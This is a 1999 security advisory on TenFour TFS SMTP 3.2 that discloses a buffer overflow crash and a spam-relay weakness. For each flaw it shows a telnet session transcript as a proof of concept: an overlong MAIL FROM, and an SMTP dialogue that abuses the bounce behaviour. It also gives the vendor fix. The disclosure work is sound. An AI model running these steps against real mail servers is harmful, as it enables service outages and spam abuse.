[SECURITY] TenFour TFS SMTP 3.2 Buffer Overflow

[christophe.lesur () INTRINSEC COM (Christophe Lesur)]

 INTRINsec Security Advisory

Release Date     : August 30, 1999
Software        : TenFour TFS SMTP 3.2
Operating System: Windows NT 3.x / 4.x
Impact          : The attackers can use a misconfigured TFS SMTP for
                  spamming and can remotely crash the TFS SMTP Gateway.
Author          : Christophe.Lesur () INTRINsec com
Status          : TenFour is advised from this.
URLs            : http://www.intrinsec.com/
                                  

__ Diggest __

The TenFour TFS SMTP Release 3.2 has two vulnerabilities : A buffer overflow
and, under some circumstances and due to inherent TFS architecture, it can
be used for spamming.

Direct results are that an attacker can remotly crash your TFS SMTP Gateway
or send unsollicited mails to someone ( and TFS ADMINISTRATOR ).

Tenfour is advised from this. Thanks to Roberto Correnti for his support.
(http://www.tenfour.com)

__ Technical Details and Exploits __

TENFOUR TFS SMTP Version 3.2 has two vulnerabilities : a buffer overflow and
under some circumstances it can be used for spamming.

First:  Buffer Overflow.

There is a major buffer overflow in TFS SMTP 3.2. When you connect to the
SMTP service on port 25, you get the TFS PROMPT. After sending the 'helo'
command, if you send a 'MAIL FROM' larger than 128 bytes, you will crash the
SMTP service with a nice protection fault. It's basically a buffer overflow
and this has been fixed in release 4.0

This is the exploit :

         [[clesur@raptor clesur]$ telnet mailhost.victim.com 25 
         Trying 1.1.1.1... 
         Connected to mailhost.victim.com. 
         Escape character is '^]'. 
         220 mailhost.victim.com is ready. TFS SMTP Server ver 3.2 
         helo 
         250 mailhost.victim.com, Hello 

         mail from:<ddddddddddddd ... lots of char ... dddddddddddddddd>

         Connection closed by foreign host. 

        
Second: Spamming

The TFS SMTP Engine accepts any mails by default and process them in its kernel.
In case of a deficient message (wrong recipient, wrong domain...) TFS SMTP is 
usually configured to warn sender and the TFS ADMINISTRATOR by sending a 4-line warning 
AND the full message. Because there is no domain check before sending the message to 
the TFS core, it's possible to spam someone and the TFS administrator.

This is the exploit :

          [[clesur@raptor clesur]$ telnet mailhost.tfsvictim.com 25 
          Trying 1.1.1.1... 
          Connected to mailhost.tfsvictim.com. 
          Escape character is '^]'. 
          220 mailhost.tfsvictim.com is ready. TFS SMTP Server ver 3.2 
          helo 
          250 mailhost.tfsvictim.com, Hello 
          mail from:<target () victim com> 
          250 Sender <target () victim com> OK 
          rcpt to:<target () victim com> 
          250 Recipient <target () victim com> OK 
          data 
          354 Begin data transfer. End with period. 
          from: target () victim com 
          to: target () victim com 

          <YOUR MESSAGE BODY HERE>      
          .

          250 Message accepted 
          quit 
          221 Connection closed 
          Connection closed by foreign host. 

The spammed user will receive this message in its mailbox.

          Message 22: 
          From target () victim com Thu Jul 29 09:49:40 1999 
          Delivered-To: target () victim com 
          From: target () victim com 
          Date: Thu, 29 Jul 1999 11:44:03 +0200 
          Subject: <No subject> 
          MIME-version: 1.0 
          Content-transfer-encoding: quoted-printable 

          #################################################### 
          This message was not delivered to 
          target () victim com
          TFS Admin was informed with a copy of this message 
          Sender was informed with a copy of this message 
          #################################################### 

          <YOUR MESSAGE BODY HERE>

__ Solutions __

For theses vulnerabilities, TenFour suggests upgrading to a version greater
than 4.0.

__ Contacts __

 -- Tenfour --

 TenFour South Europe 
 ITFamily Sarl 
 Le Technoparc 
 15, rue Edouard Jeanneret 
 78306 Poissy Cedex 
 France 
 Tel: +33 1 39 22 65 15 
 Fax: +33 1 39 11 49 77 
 WWW: http://www.tenfour.fr 

 -- INTRINsec --

 INTRINsec is a computer Security company.
 http://www.INTRINsec.com
 This advisory is available in french.
 Cet avis est disponible en francais sur notre site.

__ DISCLAMERS __

INTRINsec DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, AND PROVIDED
THESES INFORMATIONS "AS IS" WITHOUT WARRANTY OF ANY KIND. INTRINsec IS NOT
LIABLE FOR ANY DAMAGES WHATSOEVER EVEN IF INTRINsec HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

--
Christophe Lesur        Security Consultant
INTRINsec 
mailto:christophe.lesur () INTRINsec com